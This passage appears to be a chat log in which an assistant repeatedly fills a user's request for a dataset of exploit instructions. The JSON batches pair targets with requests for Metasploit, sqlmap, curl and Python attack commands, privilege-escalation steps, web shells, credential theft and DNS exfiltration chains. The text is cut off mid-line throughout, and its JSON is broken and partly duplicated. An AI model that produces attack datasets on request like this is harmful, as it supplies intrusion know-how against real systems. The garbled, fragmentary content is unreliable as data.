    "output": "Step 1 – Craft Recursive Entity\nDefine entities that exp",
},
{
    "instruction": "Assuming initial shell, provide commands to exploit t",
    "input": "Code review on target: /app/config.py has DB_PASSWORD='supe",
    "output": "Step 1 – Identify Privilege Escalation\nHardcoded creds a",
}
]

```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 8s

json

```

[
{
    "instruction": "Generate the Metasploit command to exploit the SolarW",
    "input": "Scan finding on target 10.10.50.20: SolarWinds Orion 2020.2",
    "output": "Step 1 – Identify Vulnerability\nCVE-2021-35211 in SolarW",
},
{
    "instruction": "Provide the curl command to exploit the HTTP/2 DoS vi",
    "input": "Finding: Server at https://h2server.com supports HTTP/2, vu"
}
]
```

```
"output": "Step 1 – Identify Vulnerability\nHTTP/2 CONTINUATION flock  
},  
{  
  "instruction": "Generate the command sequence to exploit the insecure  
  "input": "Burp finding on https://phpapp.com/session: Uses unserialize()  
  "output": "Step 1 – Identify Vulnerability\nPHP unserialize allows &  
},  
{  
  "instruction": "Provide the steps and command to exploit the missing  
  "input": "SecurityHeaders scan: https://site.com lacks X-Frame-Option  
  "output": "Step 1 – Identify Vulnerability\nNo X-Frame-Options enabled  
},  
{  
  "instruction": "Generate the sqlmap command to exploit the PostgreSQL  
  "input": "Finding: Stacked query SQLi in 'order' param at http://shop  
  "output": "Step 1 – Identify Vulnerability\nStacked queries permit e  
},  
{  
  "instruction": "Provide the commands to exploit the exposed AWS metadata  
  "input": "Cloud enum: Instance metadata at http://169.254.169.254/latest  
  "output": "Step 1 – Identify Vulnerability\nExposed IMDSv1 allows SS  
},  
{  
  "instruction": "Generate the curl command to exploit the reflected XSS  
  "input": "Finding: Reflected XSS in /search?q=<script>alert(1)</script>  
  "output": "Step 1 – Identify Vulnerability\nReflected XSS executes C  
},  
{  
  "instruction": "Provide the Python script to exploit the timing attack  
  "input": "Finding: Login at https://secure.com/login compares password  
  "output": "Step 1 – Identify Vulnerability\nConstant-time comparisor  
},  
{  
  "instruction": "Generate a two-step chain using file upload RCE to pr  
  "input": "Finding 1: Unrestricted upload at /upload.php allows .php s  
  "output": "Step 1 – Upload Shell\nUpload PHP shell and execute comm  
},  
{  
  "instruction": "Assuming access, provide commands to exploit the unpa  
  "input": "LinEnum: Kernel 4.8.0-39-generic vulnerable to CVE-2017-100  
  "output": "Step 1 – Identify Privilege Escalation\nDirty COW allows  
}  
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 6s

json

```
[  
  {  
    "instruction": "Generate the command to exploit the insecure temporar  
    "input": "Finding: App creates temp files in /tmp with predictable na  
    "output": "Step 1 – Identify Vulnerability\nPredictable temp files a  
  },  
  {  
    "instruction": "Provide the curl command to exploit the open proxy co  
    "input": "Finding: Web app at https://proxyapp.com forwards requests  
    "output": "Step 1 – Identify Vulnerability\nMisconfigured proxy acts  
  },  
  {  
    "instruction": "Generate the Metasploit command to exploit the Micros  
    "input": "Scan on mail.exchange.com: Exchange Server 2016 vulnerable  
    "output": "Step 1 – Identify Vulnerability\nProxyLogon chains SSRF a  
  },  
  {  
    "instruction": "Provide the commands to exploit the insufficiently pr  
    "input": "Post-access: /etc/app.conf readable by low-priv user, conta  
    "output": "Step 1 – Identify Vulnerability\nExposed config files lea  
  },  
  {  
    "instruction": "Generate the Python script to exploit the weak hashin  
    "input": "DB dump: Passwords hashed with MD5 without salt in 'users'  
    "output": "Step 1 – Identify Vulnerability\nWeak MD5 allows rainbow  
  },  
  {  
    "instruction": "Provide the curl command to exploit the server-side r  
    "input": "Finding: Image resize at https://img.com/resize?url=http://  
    "output": "Step 1 – Identify Vulnerability\nSSRF in URL param allows  
  },  
  {  
    "instruction": "Generate the command sequence to exploit the buffer o  
    "input": "Fuzzing: Binary /usr/bin/app on target crashes with input >  
    "output": "Step 1 – Identify Vulnerability\nStack buffer overflow al  
  },
```

```
{
  "instruction": "Provide the steps and command to exploit the improper input: \"Finding: Numeric param 'age' in http://health.com/search?ag
  "input": "Finding: Numeric param 'age' in http://health.com/search?ag
  "output": "Step 1 – Identify Vulnerability\nType confusion in numeric input leads to potential exploitation.\n\n"
},
{
  "instruction": "Generate a two-step chain using DOM-based XSS to keylog the password.\n\n"
  "input": "Finding 1: DOM XSS in /profile#section=<script>alert(1)</script>\n\n"
  "output": "Step 1 – Inject DOM Script\nCraft URL with payload to write to session.\n\n"
},
{
  "instruction": "Assuming shell, provide commands to exploit the misconfiguration.\n\n"
  "input": "Sudo enum: User can sudo 'vim' as root, vulnerable to -c !s
  "output": "Step 1 – Identify Privilege Escalation\nSudo vim allows shell escalation.\n\n"
}
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 5s

json

```
[
  {
    "instruction": "Generate the command to exploit the use of hard-coded AES key.\n\n"
    "input": "Reverse engineering: Mobile app hardcodes AES key 'deadbeef'\n    "output": "Step 1 – Identify Vulnerability\nHardcoded keys allow decryption of sensitive data.\n\n"
  },
  {
    "instruction": "Provide the curl command to exploit the directory listing vulnerability.\n\n"
    "input": "Finding: Web server at http://dev.com/uploads/ lists all files\n    "output": "Step 1 – Identify Vulnerability\nEnabled directory browsing allows traversal attacks.\n\n"
  },
  {
    "instruction": "Generate the Metasploit command to exploit the TeamViewer flaw.\n\n"
    "input": "Scan on target 192.168.100.10: TeamViewer 15.2 vulnerable to RCE\n    "output": "Step 1 – Identify Vulnerability\nTeamViewer flaw in packet handling allows remote code execution.\n\n"
  },
  {
    "instruction": "Provide the commands to exploit the improper error handling.\n\n"
    "input": "Finding: App at https://app.com/search throws stack traces\n    "output": "Step 1 – Identify Vulnerability\nImproper error handling allows information disclosure.\n\n"
  }
]
```

```
"output": "Step 1 – Identify Vulnerability\nVerbose errors leak internal logic\n}\n{\n    \"instruction\": \"Generate the Python script to exploit the weak JWT signature verification logic\"\n    \"input\": \"JWT decode: Token uses RS256 but public key is weak (e.g., self-signed)\n    \"output\": \"Step 1 – Identify Vulnerability\nWeak RSA key in JWT allocation\"\n}\n{\n    \"instruction\": \"Provide the curl command to exploit the HTTP method override vulnerability\"\n    \"input\": \"Finding: Form at https://site.com/update uses POST but allows GET\n    \"output\": \"Step 1 – Identify Vulnerability\nMethod override enables cross-site requests\"\n}\n{\n    \"instruction\": \"Generate the command sequence to exploit the insecure flags allowing integer overflow\"\n    \"input\": \"Finding: Session cookie at http://site.com lacks HttpOnly and Secure flags\n    \"output\": \"Step 1 – Identify Vulnerability\nInsecure flags allow integer overflow\"\n}\n{\n    \"instruction\": \"Provide the steps and command to exploit the vulnerable Log4j JNDI lookup logic\"\n    \"input\": \"Finding: App logs user input to Log4j 2.10.0, forwarded to a JNDI lookup\n    \"output\": \"Step 1 – Identify Vulnerability\nLog4j JNDI lookup in logs\"\n}\n{\n    \"instruction\": \"Generate a two-step chain using path traversal to include local files\"\n    \"input\": \"Finding 1: Traversal in /include.php?file=local.txt. Finding 2: Includes file from user-controlled path\"\n    \"output\": \"Step 1 – Host Malicious Config\nServe a PHP shell via HTT\n}\n{\n    \"instruction\": \"Assuming shell, provide commands to exploit the cron job privilege escalation\"\n    \"input\": \"Enum: Cron job runs /usr/bin/logger as root every 5 min, PATH controlled by user\n    \"output\": \"Step 1 – Identify Privilege Escalation\nUser-controlled PATH allows privilege escalation\"\n}\n]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 5s

json

```
[  
 {  
   "instruction": "Generate the command to exploit the insecure deserial  
   "input": "Finding: Rails app at https://railsapp.com/session uses Mar  
   "output": "Step 1 – Identify Vulnerability\nRuby Marshal deserializa  
 },  
 {  
   "instruction": "Provide the curl command to exploit the open redirect  
   "input": "Finding: OAuth callback at https://auth.com/callback?redire  
   "output": "Step 1 – Identify Vulnerability\nOpen redirect in callbac  
 },  
 {  
   "instruction": "Generate the Metasploit command to exploit the WordPr  
   "input": "Scan on https://blog.com: WordPress 5.8 with 'download-mana  
   "output": "Step 1 – Identify Vulnerability\nPlugin flaw allows unaut  
 },  
 {  
   "instruction": "Provide the commands to exploit the broken object lev  
   "input": "API finding: /api/orders/123 accessible with user token, bu  
   "output": "Step 1 – Identify Vulnerability\nBOLA allows manipulating  
 },  
 {  
   "instruction": "Generate the sqlmap command to exploit the time-based  
   "input": "Finding: Time-based blind SQLi in 'post_id' at http://blog.  
   "output": "Step 1 – Identify Vulnerability\nBlind SQLi infers data v  
 },  
 {  
   "instruction": "Provide the Python script to exploit the insecure ran  
   "input": "Finding: OTP generated with insecure random (0-9999), predi  
   "output": "Step 1 – Identify Vulnerability\nLow-entropy random allow  
 },  
 {  
   "instruction": "Generate the command to exploit the exposed stack tra  
   "input": "Error page at https://app.com/error?id=1 reveals full stack  
   "output": "Step 1 – Identify Vulnerability\nStack traces leak filesy  
 },  
 {  
   "instruction": "Provide the curl commands to exploit the mass assignm  
   "input": "Finding: User update at https://users.com/update accepts JS  
   "output": "Step 1 – Identify Vulnerability\nMass assignment overwrit  
 },  
 {  
   "instruction": "Generate a two-step attack chain using stored XSS to  
   "input": "Finding 1: Stored XSS in /comments via <script>alert(1)</sc  
 }]
```

```
"output": "Step 1 – Store Payload\nPost comment with XSS to steal cc
},
{
  "instruction": "Assuming initial access, provide commands to exploit
  "input": "Enum: Backup cron runs as root, follows symlinks in /home/u
  "output": "Step 1 – Identify Privilege Escalation\nSymlink following
}
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 24s

json

```
[
  {
    "instruction": "Generate the command to exploit the insecure file upl
    "input": "Finding: Upload form at https://fileupload.com/upload allow
    "output": "Step 1 – Identify Vulnerability\nExtension validation on
  },
  {
    "instruction": "Provide the curl command to exploit the reflected GET
    "input": "Finding: Reflected XSS in /redirect?msg=hello at http://sit
    "output": "Step 1 – Identify Vulnerability\nReflected XSS in URL par
  },
  {
    "instruction": "Generate the Metasploit command to exploit the Joomla
    "input": "Scan on https://cms.com: Joomla 3.7.0 with com_fields vuln
    "output": "Step 1 – Identify Vulnerability\nJoomla com_fields allows
  },
  {
    "instruction": "Provide the commands to exploit the weak access contr
    "input": "Finding: /api/admin/users POST at https://api.com/api/admin
    "output": "Step 1 – Identify Vulnerability\nUnauth admin API exposes
  },
  {
    "instruction": "Generate the sqlmap command to escalate union SQL inj
    "input": "Finding: Union SQLi in 'id' at http://db.com/user?id=1, MyS
    "output": "Step 1 – Identify Vulnerability\nUnion SQLi allows subque
  },
  {
    "instruction": "Generate the sqlmap command to escalate union SQL inj
    "input": "Finding: Union SQLi in 'id' at http://db.com/user?id=1, MyS
    "output": "Step 1 – Identify Vulnerability\nUnion SQLi allows subque
  }
]
```

```

    "instruction": "Provide the Python script to exploit the predictable",
    "input": "Finding: CSRF token at https://site.com/form is MD5 of time",
    "output": "Step 1 – Identify Vulnerability\nPredictable tokens allow",
  },
  {
    "instruction": "Generate the command to exploit the exposed debug con",
    "input": "Finding: /debug/console at http://app.com/debug/console all",
    "output": "Step 1 – Identify Vulnerability\nExposed eval console per",
  },
  {
    "instruction": "Provide the curl commands to exploit the parameter po",
    "input": "Finding: Login at https://auth.com/login parses first 'user",
    "output": "Step 1 – Identify Vulnerability\nHTTP param pollution cor",
  },
  {
    "instruction": "Generate a two-step chain using command injection to",
    "input": "Finding 1: Cmd injection in /ping?ip=127.0.0.1;touch /tmp/p",
    "output": "Step 1 – Inject into Log\nUse injection to write PHP shel",
  },
  {
    "instruction": "Assuming shell, provide commands to exploit the setui",
    "input": "Enum: /usr/local/bin/print SUID root, vulnerable to %s form",
    "output": "Step 1 – Identify Privilege Escalation\nFormat string in",
  }
]

```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 6s

json

```

[
  {
    "instruction": "Generate the command to exploit the insecure deserail",
    "input": ".NET app at https://dotnet.com/api uses MessagePac",
    "output": "Step 1 – Identify Vulnerability\nUnsafe MessagePack deser",
  },
  {
    "instruction": "Provide the curl command to exploit the open redirect",
    "input": "Verification at https://app.com/verify?token=abc&r",
  }
]

```

```
"output": "Step 1 – Identify Vulnerability\nOpen redirect in verification page\n\n",\n{\n    "instruction": "Generate the Metasploit command to exploit the Mage\n    "input": "Scan on https://shop.com: Magento 2.3.5 vulnerable to CVE-2023-2222\n    "output": "Step 1 – Identify Vulnerability\nSQLi in Magento token error\n\n",\n{\n    "instruction": "Provide the commands to exploit the insecure shared memory segment\n    "input": "Post-access enum: App uses shared memory segment with world-writable\n    "output": "Step 1 – Identify Vulnerability\nWritable shared memory allows privilege escalation\n\n",\n{\n    "instruction": "Generate the sqlmap command to exploit the error-base\n    "input": "Finding: Error-based SQLi in 'login' param at https://auth.com/login\n    "output": "Step 1 – Identify Vulnerability\nError-based SQLi leaks database credentials\n\n",\n{\n    "instruction": "Provide the Python script to exploit the weak PBKDF2\n    "input": "Dump: Passwords with PBKDF2-HMAC-SHA1, iterations=1000, salt length=16\n    "output": "Step 1 – Identify Vulnerability\nLow iterations make PBKDF2\n\n",\n{\n    "instruction": "Generate the command to exploit the SSRF in webhook configuration\n    "input": "Finding: Webhook setup at https://webhooks.com/add?url=http://evil.com\n    "output": "Step 1 – Identify Vulnerability\nSSRF in webhook URL allows remote code execution\n\n",\n{\n    "instruction": "Provide the curl command to exploit the format string\n    "input": "Finding: Log endpoint at https://log.com/record?msg=%s leak\n    "output": "Step 1 – Identify Vulnerability\nFormat string in log allows remote code execution\n\n",\n{\n    "instruction": "Generate a two-step chain using DOM Clobbering to overflow\n    "input": "Finding 1: Page loads <iframe name=\"window\">. Finding 2:\n    "output": "Step 1 – Clobber window\nInject iframe to redefine window object\n\n",\n{\n    "instruction": "Assuming shell, provide commands to exploit the kernel\n    "input": "Enum: Process runs with CAP_SYS_MODULE, allows loading arbitrary\n    "output": "Step 1 – Identify Privilege Escalation\nCAP_SYS_MODULE permission\n\n",\n{\n}\n]\n
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

[

{

    "instruction": "Generate the command to exploit the insecure direct o  
    "input": "Finding: Invoice API at https://billing.com/api/invoice/456  
    "output": "Step 1 – Identify Vulnerability\nIDOR allows accessing ot

},

{

    "instruction": "Provide the curl command to exploit the stored XSS in  
    "input": "Finding: Bio field in /profile at https://social.com/profil  
    "output": "Step 1 – Identify Vulnerability\nStored XSS persists mali

},

{

    "instruction": "Generate the Metasploit command to exploit the Apache  
    "input": "Scan on https://tomcat.com:8080: Tomcat 8.5.0 with manager  
    "output": "Step 1 – Identify Vulnerability\nExposed manager GUI allo

},

{

    "instruction": "Provide the commands to exploit the broken authentica  
    "input": "Finding: API at https://api.com/v1/data has per-IP limit 10  
    "output": "Step 1 – Identify Vulnerability\nUnauth rate limits are I

},

{

    "instruction": "Generate the sqlmap command to exploit the cookie-bas  
    "input": "Finding: SQLi in 'user\_id' cookie at https://session.com/ho  
    "output": "Step 1 – Identify Vulnerability\nCookie SQLi allows manip

},

{

    "instruction": "Provide the Python script to exploit the side-channel  
    "input": "Finding: Login at https://bank.com/login delays on wrong pa  
    "output": "Step 1 – Identify Vulnerability\nTiming differences revea

},

{

    "instruction": "Generate the command to exploit the exposed .DS\_Store  
    "input": "Finding: /.DS\_Store at http://macserver.com/.DS\_Store lists  
    "output": "Step 1 – Identify Vulnerability\nExposed .DS\_Store reveal

},

```
{
  "instruction": "Provide the curl commands to exploit the insecure des",
  "input": "Finding: Update at https://app.com/update deserializes JSON",
  "output": "Step 1 – Identify Vulnerability\nUnsafe JSON deserialization",
},
{
  "instruction": "Generate a two-step chain using RCE to mount NFS share",
  "input": "Finding 1: RCE in /exec?cmd=id at http://server.com/exec. F",
  "output": "Step 1 – Gain RCE\nExecute commands via param for shell a",
},
{
  "instruction": "Assuming shell, provide commands to exploit the weak",
  "input": "Enum: App creates files with umask 000, world-readable/writ",
  "output": "Step 1 – Identify Privilege Escalation\nWeak umask exposure",
}
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 21s

json

```
[
  {
    "instruction": "Generate the command to exploit the weak symmetric encryption",
    "input": "Finding: Encrypted data in DB uses ECB mode AES with key 'weakkey123'",
    "output": "Step 1 – Identify Vulnerability\nECB mode leaks patterns",
  },
  {
    "instruction": "Provide the curl command sequence to exploit missing rate limits",
    "input": "Finding: Login endpoint at https://api.com/auth/login allows unlimited requests",
    "output": "Step 1 – Identify Vulnerability\nNo rate limits enable exploitation",
  },
  {
    "instruction": "Generate the ysoserial command for Java RCE via Jackson",
    "input": "Finding: JSON POST at https://javaapp.com/parse uses Jackson library",
    "output": "Step 1 – Identify Vulnerability\nJackson deserialization vulnerability",
  },
  {
    "instruction": "Provide the steps and curl command to exploit business logic",
    "input": "Finding: Checkout at https://shop.com/checkout applies multiple validation rules",
    "output": "Step 1 – Identify Vulnerability\nBusiness logic validation bypass"
  }
]
```

```
"output": "Step 1 – Identify Vulnerability\nLogic flaw allows stacki
},
{
  "instruction": "Generate the command to exploit sensitive data exposu
  "input": "Finding: API at https://api.com/user returns X-Debug: DB_PA
  "output": "Step 1 – Identify Vulnerability\nExposed headers leak sec
},
{
  "instruction": "Provide the AWS CLI commands to exploit public S3 buc
  "input": "Finding: S3 bucket 'dev-backup-2025' at s3://dev-backup-202
  "output": "Step 1 – Identify Vulnerability\nPublic ACL on S3 exposes
},
{
  "instruction": "Generate the curl command to exploit known vuln in jq
  "input": "Finding: Site https://jsapp.com uses jQuery 1.9.0 vulnerabl
  "output": "Step 1 – Identify Vulnerability\nOld jQuery parses script
},
{
  "instruction": "Provide the commands to exploit lack of logging for u
  "input": "Finding: No audit logs on /admin at https://admin.com/admin
  "output": "Step 1 – Identify Vulnerability\nMissing logs enable stea
},
{
  "instruction": "Generate the curl command to exploit XXE in SOAP requ
  "input": "Finding: SOAP at https://soap.com/service accepts XML with
  "output": "Step 1 – Identify Vulnerability\nXXE parses external enti
},
{
  "instruction": "Provide the command to exploit server-side template i
  "input": "Finding: Email preview at https://mail.com/preview?template
  "output": "Step 1 – Identify Vulnerability\nSSTI in templates allows
}
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 8s

json

```
[  
 {  
   "instruction": "Generate the command to exploit the insecure use of e  
   "input": "Finding: Client JS at https://jsapp.com/main.js uses eval(u  
   "output": "Step 1 – Identify Vulnerability\nUnsafe eval executes user  
 },  
 {  
   "instruction": "Provide the curl command to exploit the HTTP header i  
   "input": "Finding: Search at https://search.com/q=test injects User-A  
   "output": "Step 1 – Identify Vulnerability\nHeader injection with CF  
 },  
 {  
   "instruction": "Generate the Metasploit command to exploit the Cisco  
   "input": "Scan on ise.cisco.com: Cisco ISE 2.6 vulnerable to CVE-2019  
   "output": "Step 1 – Identify Vulnerability\nISE CLI exposure allows  
 },  
 {  
   "instruction": "Provide the commands to exploit the improper certific  
   "input": "Finding: gRPC client at grpc.example.com skips hostname ver  
   "output": "Step 1 – Identify Vulnerability\nDisabled hostname check  
 },  
 {  
   "instruction": "Generate the sqlmap command to exploit the POST-based  
   "input": "Finding: Blind SQLi in 'email' POST param at https://newsle  
   "output": "Step 1 – Identify Vulnerability\nBlind POST SQLi requires  
 },  
 {  
   "instruction": "Provide the Python script to exploit the insecure ran  
   "input": "Finding: API at https://secure.com/transaction uses nonce=1  
   "output": "Step 1 – Identify Vulnerability\nPredictable nonce allows  
 },  
 {  
   "instruction": "Generate the command to exploit the exposed actuator  
   "input": "Finding: Spring Boot at https://bootapp.com/actuator/env ex  
   "output": "Step 1 – Identify Vulnerability\nUnauth actuator endpoint  
 },  
 {  
   "instruction": "Provide the curl commands to exploit the insecure COR  
   "input": "Finding: API https://cors.com/data has CORS * with credentials  
   "output": "Step 1 – Identify Vulnerability\nPermissive CORS with credentials  
 },  
 {  
   "instruction": "Generate a two-step chain using file inclusion to RFI  
   "input": "Finding 1: LFI in /include?file=header.php. Finding 2: allo  
 }]
```

```

    "output": "Step 1 – Read Remote Config\nUse RFI to include attacker-",
},
{
  "instruction": "Assuming shell, provide commands to exploit the NFS r",
  "input": "Enum: NFS share /export mounted rw, no root squash, allowin",
  "output": "Step 1 – Identify Privilege Escalation\nNo root squash ti",
}
]

```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 6s

json

```

[
{
  "instruction": "Generate the command to exploit NoSQL injection in Mo",
  "input": "Finding: MongoDB query at https://api.com/users/find?filter",
  "output": "Step 1 – Identify Vulnerability\nNoSQL injection via unes",
},
{
  "instruction": "Provide the curl command to exploit CSRF on JSON-only",
  "input": "Finding: JSON API at https://jsonapi.com/account/update acc",
  "output": "Step 1 – Identify Vulnerability\nJSON endpoints without C",
},
{
  "instruction": "Generate the Metasploit command to exploit the WannaC",
  "input": "Nmap on 192.168.1.50: Port 445 SMBv1 vulnerable to MS17-010",
  "output": "Step 1 – Identify Vulnerability\nEternalBlue exploits SME",
},
{
  "instruction": "Provide the commands to exploit LFI via /proc/self/en",
  "input": "Finding: LFI in /view.php?file=index.php, server uses Apach",
  "output": "Step 1 – Identify Vulnerability\nLFI on /proc/self/envirc",
},
{
  "instruction": "Generate the curl command to exploit IDOR in GraphQL",
  "input": "Finding: GraphQL at https://graphql.com/graphql mutation up",
  "output": "Step 1 – Identify Vulnerability\nIDOR in GraphQL allows u",
}
]
```

```

    "instruction": "Provide the steps and command to exploit OAuth state",
    "input": "Finding: OAuth at https://oauth.com/authorize?state=abc ignored",
    "output": "Step 1 – Identify Vulnerability\nMissing state check enabled",
  },
  {
    "instruction": "Generate the command sequence for buffer overflow exploit",
    "input": "Finding: Custom binary /app/buffer on target vulnerable to overflow",
    "output": "Step 1 – Identify Vulnerability\nBuffer overflow overwritten",
  },
  {
    "instruction": "Provide the commands to exploit misconfigured Redis feature",
    "input": "Finding: Redis 6.0 on redis://127.0.0.1:6379 no auth, module loaded",
    "output": "Step 1 – Identify Vulnerability\nUnauth Redis with module loaded",
  },
  {
    "instruction": "Generate the curl command to exploit the insecure Websocket connection",
    "input": "Finding: WebSocket at wss://ws.com/chat requires Origin: header",
    "output": "Step 1 – Identify Vulnerability\nWeak Origin validation issue",
  },
  {
    "instruction": "Provide the command to exploit the tainted variable in PHP script",
    "input": "Finding: PHP script /write.php?path=uploads/file.txt writes to file",
    "output": "Step 1 – Identify Vulnerability\nTainted path allows writing to file",
  }
]

```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

```

[
  {
    "instruction": "Generate the command to exploit the insecure use of MD5 hashing",
    "input": "Finding: Passwords in DB hashed with unsalted MD5, dumped from dump",
    "output": "Step 1 – Identify Vulnerability\nUnsalted MD5 is fast and easy to crack",
  },
  {
    "instruction": "Provide the curl command to exploit the open GraphQL endpoint",
    "input": "Finding: GraphQL at https://api.com/graphql responds to __query",
    "output": "Step 1 – Identify Vulnerability\nOpen GraphQL endpoint allows direct query execution"
  }
]

```

```
"output": "Step 1 – Identify Vulnerability\nIntrospection exposes API\n}\n{\n    "instruction": "Generate the Metasploit command to exploit the Elasticsearch vulnerability\n    \"input\": \"Scan on 192.168.2.10:9200: Elasticsearch 5.6.16 vulnerable\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nES script query allows GET requests without authentication\"\n},\n{\n    "instruction": "Provide the commands to exploit the weak file permissions\n    \"input\": \"Finding: ~/.ssh/id_rsa on shared server has 777 perms, read/write by everyone\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nOverly permissive SSH key permissions\"\n},\n{\n    "instruction": "Generate the curl command to exploit the path traversal vulnerability\n    \"input\": \"Finding: Image proxy at https://proxy.com/img?path=images/cover.jpg\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nTraversal in path parameter\"\n},\n{\n    "instruction": "Provide the Python script to exploit the insecure cookie signing\n    \"input\": \"Finding: Cookie signed with HMAC-SHA1 key 'weaksecret', all users share the same key\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nWeak signing allows for session hijacking\"\n},\n{\n    "instruction": "Generate the command to exploit the exposed Docker socket\n    \"input\": \"Finding: Docker socket /var/run/docker.sock mounted in container\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nMounted socket allows control of host system\"\n},\n{\n    "instruction": "Provide the curl command to exploit the prototype pollution vulnerability\n    \"input\": \"Finding: App at https://lodashapp.com/merge uses _.merge on user input\"\n    \"output\": \"Step 1 – Identify Vulnerability\\nLodash pollution overwrites prototype\"\n},\n{\n    "instruction": "Generate a two-step chain using SQLi to extract file\n    \"input\": \"Finding 1: SQLi in 'name' at http://db.com/insert. Finding 2: UNION query\"\n    \"output\": \"Step 1 – Confirm SQLi\\nInject ' OR 1=1-- for dump.\\n\\nStep 2 – Extract file using UNION query\"\n},\n{\n    "instruction": "Assuming shell, provide commands to exploit the LD_PRELOAD vulnerability\n    \"input\": \"Enum: Sudo allows /usr/bin/env as root, LD_PRELOAD env variable can be set\"\n    \"output\": \"Step 1 – Identify Privilege Escalation\\nLD_PRELOAD in sudo configuration\"\n}\n]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

[

{

    "instruction": "Generate the command to exploit the insecure JWT with  
    "input": "Finding: JWT at Authorization: Bearer uses kid: \\"admin\\" f  
    "output": "Step 1 – Identify Vulnerability\nkid header injection tre

},

{

    "instruction": "Provide the curl command to exploit the HTTP/2 rapid  
    "input": "Finding: Server at https://h2server.com supports HTTP/2, vu  
    "output": "Step 1 – Identify Vulnerability\nRapid reset floods with

},

{

    "instruction": "Generate the Metasploit command to exploit the Zoho M  
    "input": "Scan on manageengine.com: Zoho ManageEngine 7.0.0 vulnerabl  
    "output": "Step 1 – Identify Vulnerability\nAPI endpoint allows file

},

{

    "instruction": "Provide the commands to exploit the insecure object s  
    "input": "Finding: Session serialized with pickle in Python, allows i  
    "output": "Step 1 – Identify Vulnerability\nPickle sessions allow ga

},

{

    "instruction": "Generate the sqlmap command to exploit the header-bas  
    "input": "Finding: SQLi in User-Agent header at https://header.com/ho  
    "output": "Step 1 – Identify Vulnerability\nHeader injection into SC

},

{

    "instruction": "Provide the Python script to exploit the weak Diffie-  
    "input": "Finding: TLS at https://tls.com uses DH group 1 (512-bit),  
    "output": "Step 1 – Identify Vulnerability\nWeak DH params allow pre

},

{

    "instruction": "Generate the command to exploit the exposed Kubernehete  
    "input": "Finding: K8s API at https://k8s.com:6443 unauth, allows ano  
    "output": "Step 1 – Identify Vulnerability\nUnauth API exposes clust

},

```
{
  "instruction": "Provide the curl command to exploit the clickjacking",
  "input": "Finding: Login at https://login.com lacks X-Frame-Options",
  "output": "Step 1 – Identify Vulnerability\nNo frame options allow c
},
{
  "instruction": "Generate a two-step chain using deserialization to fi
  "input": "Finding 1: Deserialization RCE in /session at https://app.c
  "output": "Step 1 – Gain RCE\nDeserialize payload to execute command
},
{
  "instruction": "Assuming shell, provide commands to exploit the polki
  "input": "Enum: Polkit pkexec vulnerable to CVE-2021-4034 (PwnKit), a
  "output": "Step 1 – Identify Privilege Escalation\nPwnKit in pkexec
}
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 7s

json

```
[
  {
    "instruction": "Generate the command to exploit the insecure direct o
    "input": "Finding: Chat API at https://chat.com/api/messages/789 fetc
    "output": "Step 1 – Identify Vulnerability\nIDOR in message IDs alloc
  },
  {
    "instruction": "Provide the curl command to exploit the DOM-based XSS
    "input": "Finding: Router at https://spa.com/#search=<script>alert(1)
    "output": "Step 1 – Identify Vulnerability\nDOM XSS in hash param al
  },
  {
    "instruction": "Generate the Metasploit command to exploit the PHPMyA
    "input": "Scan on phpmyadmin.local: phpMyAdmin 4.8.1 vulnerable to CV
    "output": "Step 1 – Identify Vulnerability\nTraversal in phpMyAdmin
  },
  {
    "instruction": "Provide the commands to exploit the weak password pol
    "input": "Finding: LDAP at ldap://auth.com:389 binds with user DN but
  }
```

```
"output": "Step 1 – Identify Vulnerability\nWeak LDAP policy allows  
}',  
{  
  "instruction": "Generate the sqlmap command to exploit the XML-based  
  "input": "Finding: XML POST at https://xmlsql.com/query with <user id  
  "output": "Step 1 – Identify Vulnerability\nXML param injection into  
}',  
{  
  "instruction": "Provide the Python script to exploit the predictable  
  "input": "Finding: Session ID at https://session.com is hex of time()  
  "output": "Step 1 – Identify Vulnerability\nPredictable PRNG in IDs  
}',  
{  
  "instruction": "Generate the command to exploit the exposed .htaccess  
  "input": "Finding: .htaccess in /admin writable, allows adding SetHan  
  "output": "Step 1 – Identify Vulnerability\nWritable .htaccess permis  
}',  
{  
  "instruction": "Provide the curl command to exploit the insecure file  
  "input": "Finding: Download at https://files.com/get?file=report.pdf  
  "output": "Step 1 – Identify Vulnerability\nUnauth file download exp  
}',  
{  
  "instruction": "Generate a two-step chain using command injection to  
  "input": "Finding 1: Cmd injection in /ping?host=google.com. Finding  
  "output": "Step 1 – Encode Data\nPrepare data as subdomain for DNS.\n}',  
{  
  "instruction": "Assuming shell, provide commands to exploit the writa  
  "input": "Enum: .profile in /home/user writable, cron runs user scrip  
  "output": "Step 1 – Identify Privilege Escalation\nWritable .profile  
}'  
]
```

Excellent. go ahead but make sure each data sample is unique and covers all types of high and critical vulnerability with attack commands.

Q Thought for 9s

json

```
[  
 {  
   "instruction": "Generate the command to exploit the insecure use of s  
   "input": "Finding: Shared hosting at shared.com/user1 allows symlink  
   "output": "Step 1 – Identify Vulnerability\nShared hosting symlinks  
 },  
 {  
   "instruction": "Provide the curl command to exploit the reflected XSS  
   "input": "Finding: Error page at https://error.com/404?q=<script>aler  
